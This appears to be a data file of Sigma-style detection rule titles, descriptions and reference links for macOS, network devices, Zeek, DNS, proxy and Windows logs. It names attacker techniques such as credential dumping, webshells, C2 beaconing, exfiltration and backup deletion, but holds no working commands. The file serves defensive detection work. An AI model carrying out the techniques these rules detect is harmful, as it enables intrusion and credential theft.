System Network Discovery - macOS	Detects enumeration of local network configuration	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md
System Information Discovery Using sw_vers	Detects the use of "sw_vers" for system information discovery	https://www.virustotal.com/gui/file/d3fa64f63563fe958b75238742d1e473800cb5f49f5cb79d38d4aa3c93709026/behavior, https://www.virustotal.com/gui/file/03b71eaceadea05bc0eea5cddecaa05f245126d6b16cfcd0f3ba0442ac58dab3/behavior, https://ss64.com/osx/sw_vers.html
User Added To Admin Group Via Sysadminctl	Detects attempts to create and add an account to the admin group via "sysadminctl"	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-3---create-local-account-with-admin-privileges-using-sysadminctl-utility---macos, https://ss64.com/osx/sysadminctl.html
Guest Account Enabled Via Sysadminctl	Detects attempts to enable the guest account using the sysadminctl utility	https://ss64.com/osx/sysadminctl.html
System Information Discovery Via Sysctl - MacOS	Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information. This process is primarily used to detect and avoid virtualization and analysis environments.	https://www.loobins.io/binaries/sysctl/#, https://evasions.checkpoint.com/techniques/macos.html, https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/, https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/, https://objective-see.org/blog/blog_0x1E.html, https://www.virustotal.com/gui/file/1c547a064494a35d6b5e6b459de183ab2720a22725e082bed6f6629211f7abc1/behavior, https://www.virustotal.com/gui/file/b4b1fc65f87b3dcfa35e2dbe8e0a34ad9d8a400bec332025c0a2e200671038aa/behavior
System Information Discovery Using System_Profiler	Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information. This process is primarily used for system information discovery. However, "system_profiler" can also be used to determine if virtualization software is being run for defense evasion purposes.	https://www.trendmicro.com/en_za/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html, https://www.sentinelone.com/wp-content/uploads/pdf-gen/1630910064/20-common-tools-techniques-used-by-macos-threat-actors-malware.pdf, https://ss64.com/mac/system_profiler.html, https://objective-see.org/blog/blog_0x62.html, https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/, https://gist.github.com/nasbench/9a1ba4bc7094ea1b47bc42bf172961af
System Network Connections Discovery - MacOs	Detects usage of system utilities to discover system network connections	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md
System Shutdown/Reboot - MacOs	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md
Potential Base64 Decoded From Images	Detects the use of tail to extract bytes at an offset from an image and then decode the base64 value to create a new file with the decoded content. The detected execution is a bash one-liner.	https://www.virustotal.com/gui/file/16bafdf741e7a13137c489f3c8db1334f171c7cb13b62617d691b0a64783cc48/behavior, https://www.virustotal.com/gui/file/483fafc64a2b84197e1ef6a3f51e443f84dc5742602e08b9e8ec6ad690b34ed0/behavior
Time Machine Backup Deletion Attempt Via Tmutil - MacOS	Detects deletion attempts of MacOS Time Machine backups via the native backup utility "tmutil". An adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files.	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine, https://www.loobins.io/binaries/tmutil/
Time Machine Backup Disabled Via Tmutil - MacOS	Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility "tmutil". An attacker can use this to prevent backups from occurring.	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine, https://www.loobins.io/binaries/tmutil/
New File Exclusion Added To Time Machine Via Tmutil - MacOS	Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine, https://www.loobins.io/binaries/tmutil/
Potential WizardUpdate Malware Infection	Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.	https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97, https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset, https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/
Gatekeeper Bypass via Xattr	Detects macOS Gatekeeper bypass via xattr utility	https://github.com/redcanaryco/atomic-red-team/blob/1fed40dc7e48f16ed44dcdd9c73b9222a70cca85/atomics/T1553.001/T1553.001.md, https://www.loobins.io/binaries/xattr/
Potential XCSSET Malware Infection	Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.	https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08, https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset
Cisco Clear Logs	Clear command history in network OS which is used for defense evasion	https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus5000/sw/command/reference/sysmgmt/n5k-sysmgmt-cr/n5k-sm_cmds_c.html, https://www.cisco.com/c/en/us/td/docs/ios/12_2sr/12_2sra/feature/guide/srmgtint.html#wp1127609
Cisco Collect Data	Collect pertinent data from the configuration files	https://blog.router-switch.com/2013/11/show-running-config/, https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/cmdrefs/show_startup-config.htm, https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/config-mgmt/configuration/15-sy/config-mgmt-15-sy-book/cm-config-diff.html
Cisco Crypto Commands	Show when private keys are being exported from the device, or when new certificates are installed	https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/a1/sec-a1-cr-book/sec-a1-cr-book_chapter_0111.html
Cisco Disabling Logging	Turn off logging locally or remote	https://www.cisco.com/en/US/docs/ios/security/command/reference/sec_a2.pdf
Cisco Discovery	Find information about network devices that is not stored in config files	https://www.cisco.com/c/en/us/td/docs/server_nw_virtual/2-5_release/command_reference/show.html
Cisco Denial of Service	Detect a system being shutdown or put into different boot mode	None
Cisco File Deletion	See what files are being deleted from flash file systems	None
Cisco Show Commands Input	See what commands are being input into the device by other people, full credentials can be in the history	None
Cisco Local Accounts	Find local accounts being created or modified as well as remote authentication configurations	None
Cisco Modify Configuration	Modifications to a config that will serve an adversary's impacts or persistence	None
Cisco Stage Data	Various protocols maybe used to put data on the device for exfil or infil	None
Cisco Sniffing	Show when a monitor or a span/rspan is setup or modified	None
Cisco BGP Authentication Failures	Detects BGP failures which may be indicative of brute force attacks to manipulate routing	https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
Cisco LDP Authentication Failures	Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels	https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
DNS Query to External Service Interaction Domains	Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE	https://twitter.com/breakersall/status/1533493587828260866
Cobalt Strike DNS Beaconing	Detects suspicious DNS queries known from Cobalt Strike beacons	https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns, https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
Monero Crypto Coin Mining Pool Lookup	Detects suspicious DNS queries to Monero mining pools	https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/
Suspicious DNS Query with B64 Encoded String	Detects suspicious DNS queries using base64 encoding	https://github.com/krmaxwell/dns-exfiltration
Telegram Bot API Request	Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind	https://core.telegram.org/bots/faq, https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/, https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/, https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
DNS TXT Answer with Possible Execution Strings	Detects strings used in command execution in DNS TXT Answer	https://twitter.com/stvemillertime/status/1024707932447854592, https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1
Wannacry Killswitch Domain	Detects wannacry killswitch domain dns queries	https://www.mandiant.com/resources/blog/wannacry-ransomware-campaign
Cleartext Protocol Usage	Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
Huawei BGP Authentication Failures	Detects BGP failures which may be indicative of brute force attacks to manipulate routing.	https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
Juniper BGP Missing MD5	Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.	https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
MITRE BZAR Indicators for Execution	Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE	https://github.com/mitre-attack/bzar#indicators-for-attck-execution
MITRE BZAR Indicators for Persistence	Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.	https://github.com/mitre-attack/bzar#indicators-for-attck-persistence
Potential PetitPotam Attack Via EFS RPC Calls	Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam. The usage of this RPC function should be rare if ever used at all. Thus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate. View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'	https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp, https://msrc.microsoft.com/update-guide/vulnerability/ADV210003, https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf, https://threatpost.com/microsoft-petitpotam-poc/168163/
Possible PrintNightmare Print Driver Install	Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29, https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek, https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527, https://github.com/corelight/CVE-2021-1675, https://old.zeek.org/zeekweek2019/slides/bzar.pdf, https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/
SMB Spoolss Name Piped Usage	Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.	https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1, https://dirkjanm.io/a-different-way-of-abusing-zerologon/, https://twitter.com/_dirkjan/status/1309214379003588608
Default Cobalt Strike Certificate	Detects the presence of default Cobalt Strike certificate in the HTTPS traffic	https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468
DNS Events Related To Mining Pools	Identifies clients that may be performing DNS lookups associated with common currency mining pools.	https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml
New Kind of Network (NKN) Detection	NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>	https://github.com/nknorg/nkn-sdk-go, https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/, https://github.com/Maka8ka/NGLite
Suspicious DNS Z Flag Bit Set	The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused). Although recently it has been used in DNSSec, the value being set to anything other than 0 should be rare. Otherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'	https://twitter.com/neu5ron/status/1346245602502443009, https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma, https://tools.ietf.org/html/rfc2929#section-2.1, https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS
DNS TOR Proxies	Identifies IPs performing DNS lookups associated with common Tor proxies.	https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml
Executable from Webdav	Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/	http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html, https://github.com/OTRF/detection-hackathon-apt29
OMIGOD HTTP No Authentication RCE	Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.	https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure, https://twitter.com/neu5ron/status/1438987292971053057?s=20
WebDav Put Request	A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.	https://github.com/OTRF/detection-hackathon-apt29/issues/17
Publicly Accessible RDP Service	Detects connections from routable IPs to an RDP listener. Which is indicative of a publicly-accessible RDP service.	https://attack.mitre.org/techniques/T1021/001/
Remote Task Creation via ATSVC Named Pipe - Zeek	Detects remote task creation via at.exe or API interacting with ATSVC namedpipe	https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html
Possible Impacket SecretDump Remote Activity - Zeek	Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml	https://web.archive.org/web/20230329153811/https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html
First Time Seen Remote Named Pipe - Zeek	This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes	https://twitter.com/menasec1/status/1104489274387451904
Suspicious PsExec Execution - Zeek	detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one	https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html
Suspicious Access to Sensitive File Extensions - Zeek	Detects known sensitive file extensions via Zeek	Internal Research
Transferring Files with Credential Data via Network Shares - Zeek	Transferring files with well-known filenames (sensitive files with credential data) using network shares	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Kerberos Network Traffic RC4 Ticket Encryption	Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting	https://adsecurity.org/?p=3458
Apache Segmentation Fault	Detects a segmentation fault error message caused by a crashing apache worker process	http://www.securityfocus.com/infocus/1633
Apache Threading Error	Detects an issue in apache logs that reports threading related errors	https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md
Nginx Core Dump	Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.	https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps, https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/
Download from Suspicious Dyndns Hosts	Detects download of certain file types from hosts with dynamic DNS names (selected list)	https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats
Windows WebDAV User Agent	Detects WebDav DownloadCradle	https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html
Download From Suspicious TLD - Blacklist	Detects download of certain file types from hosts in suspicious TLDs	https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap, https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf, https://www.spamhaus.org/statistics/tlds/, https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/
Download From Suspicious TLD - Whitelist	Detects executable downloads from suspicious remote systems	Internal Research
F5 BIG-IP iControl Rest API Command Execution - Proxy	Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP	https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash, https://community.f5.com/t5/technical-forum/icontrolrest-11-5-execute-bash-command/td-p/203029, https://community.f5.com/t5/technical-forum/running-bash-commands-via-rest-api/td-p/272516
HackTool - CobaltStrike Malleable Profile Patterns - Proxy	Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods).	https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile, https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100, https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile, https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/, https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile
HackTool - BabyShark Agent Default URL Pattern	Detects Baby Shark C2 Framework default communication patterns	https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845
HackTool - Empire UserAgent URI Combo	Detects user agent and URI paths used by empire agents	https://github.com/BC-SECURITY/Empire
PUA - Advanced IP/Port Scanner Update Check	Detect the update check performed by Advanced IP/Port Scanner utilities.	https://www.advanced-ip-scanner.com/, https://www.advanced-port-scanner.com/
PwnDrp Access	Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity	https://breakdev.org/pwndrop/
Raw Paste Service Access	Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form	https://www.virustotal.com/gui/domain/paste.ee/relations
Flash Player Update from Suspicious Location	Detects a flashplayer update from an unofficial location	https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb
Suspicious Network Communication With IPFS	Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.	https://blog.talosintelligence.com/ipfs-abuse/, https://github.com/Cisco-Talos/IOCs/tree/80caca039988252fbb3f27a2e89c2f2917f582e0/2022/11, https://isc.sans.edu/diary/IPFS%20phishing%20and%20the%20need%20for%20correctly%20set%20HTTP%20security%20headers/29638
Telegram API Access	Detects suspicious requests to Telegram API without the usual Telegram User-Agent	https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/, https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/, https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
APT User Agent	Detects suspicious user agent strings used in APT malware in proxy logs	Internal Research
Suspicious Base64 Encoded User-Agent	Detects suspicious encoded User-Agent strings, as seen used by some malware.	https://deviceatlas.com/blog/list-of-user-agent-strings#desktop
Bitsadmin to Uncommon IP Server Address	Detects Bitsadmin connections to IP addresses instead of FQDN names	https://isc.sans.edu/diary/Microsoft+BITS+Used+to+Download+Payloads/21027
Bitsadmin to Uncommon TLD	Detects Bitsadmin connections to domains with uncommon TLDs	https://twitter.com/jhencinski/status/1102695118455349248, https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/
Crypto Miner User Agent	Detects suspicious user agent strings used by crypto miners in proxy logs	https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65, https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h
HTTP Request With Empty User Agent	Detects a potentially suspicious empty user agent strings in proxy log. Could potentially indicate an uncommon request method.	https://twitter.com/Carlos_Perez/status/883455096645931008
Exploit Framework User Agent	Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs	https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/
Hack Tool User Agent	Detects suspicious user agent strings user by hack tools in proxy logs	https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb, http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules
Malware User Agent	Detects suspicious user agent strings used by malware in proxy logs	http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules, http://www.botopedia.org/search?searchword=scan&searchphrase=all, https://networkraptor.blogspot.com/2015/01/user-agent-strings.html, https://perishablepress.com/blacklist/ua-2013.txt, https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents, https://twitter.com/kladblokje_88/status/1614673320124743681?s=12&t=joEpeVa5d58aHYNGA_To7Q, https://pbs.twimg.com/media/FtYbfsDXoAQ1Y8M?format=jpg&name=large, https://twitter.com/crep1x/status/1635034100213112833
Windows PowerShell User Agent	Detects Windows PowerShell Web Access	https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest
Rclone Activity via Proxy	Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string	https://rclone.org/, https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone
Suspicious User Agent	Detects suspicious malformed user agent strings in proxy logs	https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb
Potential Base64 Encoded User-Agent	Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding.	https://blogs.jpcert.or.jp/en/2022/07/yamabot.html, https://deviceatlas.com/blog/list-of-user-agent-strings#desktop
Suspicious External WebDAV Execution	Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns.	https://dear-territory-023.notion.site/WebDav-Share-Testing-e4950fa0c00149c3aa430d779b9b1d0f?pvs=4, https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462, https://www.trendmicro.com/en_no/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html, https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html
F5 BIG-IP iControl Rest API Command Execution - Webserver	Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP	https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash, https://community.f5.com/t5/technical-forum/icontrolrest-11-5-execute-bash-command/td-p/203029, https://community.f5.com/t5/technical-forum/running-bash-commands-via-rest-api/td-p/272516
Successful IIS Shortname Fuzzing Scan	When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol "~"	https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml, https://www.exploit-db.com/exploits/19525, https://github.com/lijiejie/IIS_shortname_Scanner
Java Payload Strings	Detects possible Java payloads in web access logs	https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/, https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/, https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md, https://twitter.com/httpvoid0x2f/status/1532924261035384832, https://medium.com/geekculture/text4shell-exploit-walkthrough-ebc02a01f035
JNDIExploit Pattern	Detects exploitation attempt using the JNDI-Exploit-Kit	https://github.com/pimps/JNDI-Exploit-Kit, https://web.archive.org/web/20231015205935/https://githubmemory.com/repo/FunctFan/JNDIExploit
Path Traversal Exploitation Attempts	Detects path traversal exploitation attempts	https://github.com/projectdiscovery/nuclei-templates, https://book.hacktricks.xyz/pentesting-web/file-inclusion
Source Code Enumeration Detection by Keyword	Detects source code enumeration that use GET requests by keyword searches in URL strings	https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html, https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1
SQL Injection Strings In URI	Detects potential SQL injection attempts via GET requests in access logs.	https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/, https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/, https://brightsec.com/blog/sql-injection-payloads/, https://github.com/payloadbox/sql-injection-payload-list, https://book.hacktricks.xyz/pentesting-web/sql-injection/mysql-injection
Server Side Template Injection Strings	Detects SSTI attempts sent via GET requests in access logs	https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection, https://github.com/payloadbox/ssti-payloads
Suspicious User-Agents Related To Recon Tools	Detects known suspicious (default) user-agents related to scanning/recon tools	https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb, https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst, https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92
Suspicious Windows Strings In URI	Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication	https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/
Webshell ReGeorg Detection Via Web Logs	Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.	https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3, https://github.com/sensepost/reGeorg
Windows Webshell Strings	Detects common commands used in Windows webshells	https://bad-jubies.github.io/RCE-NOW-WHAT/, https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
Cross Site Scripting Strings	Detects XSS attempts injected via GET requests in access logs	https://github.com/payloadbox/xss-payload-list, https://portswigger.net/web-security/cross-site-scripting/contexts
Mimikatz Use	This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)	https://tools.thehacker.recipes/mimikatz/modules
Microsoft Malware Protection Engine Crash	This rule detects a suspicious crash of the Microsoft Malware Protection Engine	https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5, https://technet.microsoft.com/en-us/library/security/4022344
Potential Credential Dumping Via WER - Application	Detects Windows error reporting event where the process that crashed is lsass. This could be the cause of an intentional crash by techniques such as Lsass-Shtinkering to dump credential	https://github.com/deepinstinct/Lsass-Shtinkering, https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf, https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
Ntdsutil Abuse	Detects potential abuse of ntdsutil to dump ntds.dit database	https://twitter.com/mgreen27/status/1558223256704122882, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)
Dump Ntds.dit To Suspicious Location	Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location	https://twitter.com/mgreen27/status/1558223256704122882, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)
Audit CVE Event	Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.	https://twitter.com/VM_vivisector/status/1217190929330655232, https://twitter.com/DidierStevens/status/1217533958096924676, https://twitter.com/FlemmingRiis/status/1217147415482060800, https://www.youtube.com/watch?v=ebmW42YYveI, https://nullsec.us/windows-event-log-audit-cve/
Backup Catalog Deleted	Detects backup catalog deletions	https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx, https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100
